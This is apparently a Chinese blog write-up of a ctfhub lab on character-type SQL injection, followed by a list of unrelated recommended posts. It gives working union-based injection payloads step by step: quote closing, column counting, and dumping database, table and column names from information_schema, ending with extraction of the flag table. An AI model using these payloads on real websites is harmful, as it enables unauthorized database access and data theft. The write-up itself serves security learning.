2025.1.15——二、字符型注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

[step 1:确认为字符型注入](#step 1:确认为字符型注入)

[step 2:查询字段](#step 2:查询字段)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、小结


一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

step 1:确认为字符型注入

键入:

sql 复制代码
1

键入:1' and 1=2 # 发现报错

键入:1' and 1=1 # 未发现报错

所以确认为字符型注入

step 2:查询字段

sql 复制代码
1' order by 4 #
sql 复制代码
1' order by 2 #

确认字段数为2(省略了试探字段数为3的情况)

step 3:爆数据库名

sql 复制代码
1' and 1=2 union select database(),database() #

得到两个数据库名均为sqli

step 4:爆表名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_name='sqli' #

错误原因:最后部分应该是 table_schema 而不是 table_name。通过指定table_schema='sqli',可以筛选出属于sqli这个数据库的所有表的名称。如果使用table_name,则需要知道具体的表名才能进行查询

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' #

得到表名分别为flag和news

step 5:爆列名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='sqli' and column_schema='flag' #

错误原因:这里的column_schema并不是information_schema.columns表中的有效字段。在information_schema.columns表中,用于指定数据库名的字段是table_schema,而不是column_schema。所以,这个查询中的条件column_schema='flag'是错误的,导致 SQL 语句无法正确执行,从而出现错误。

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag' #

step 6:爆具体数据

sql 复制代码
1' and 1=2 union select 1,flag from sqli.flag #

三、小结

与整数型注入流程大致相同,区别 在于需要加上单引号 进行语句闭合,最后还要加上**#**将SQL语句剩余部分注释掉

相关推荐
zjx23885 分钟前
oracle11g转Gbase8s库SQL常见问题修改
数据库·sql
li星野8 分钟前
Regular and Irregular Nouns — One-Page A4 Notes
学习
真上帝的左手13 分钟前
30. 技术专题-‌应用框架组件-缓存-Redis
数据库·redis·分布式·缓存·中间件
雪芽蓝域zzs16 分钟前
第 2 章:整合 MySQL + MyBatis,搭建数据库基础、实体类、Mapper、测试查询
数据库·mysql·mybatis
无言听风雨丶22 分钟前
systemd 与信号 / 僵尸进程:Linux 进程管理的底层逻辑与排错
linux·服务器·网络
实泽有之,无泽虚之35 分钟前
SQL Server数据库备份与还原详解
数据库·sqlserver
DevOpenClub41 分钟前
高考一分一段 API:分数查位次、科类枚举与历史对照
linux·数据库·高考
Java后端的Ai之路1 小时前
Java并发编程07-等待通知机制优化循环等待
java·数据库·python
AllData公司负责人1 小时前
AllData 可定义数据中台完成信创适配|银河麒麟 + 海光X86 CPU / 华为鲲鹏ARM CPU+ OceanBase / 人大金仓国产化环境部署落地
大数据·arm开发·数据库·人工智能·oceanbase·kingbase
bksczm1 小时前
C++Redis开发(Ubuntu 22.04)
数据库·redis·缓存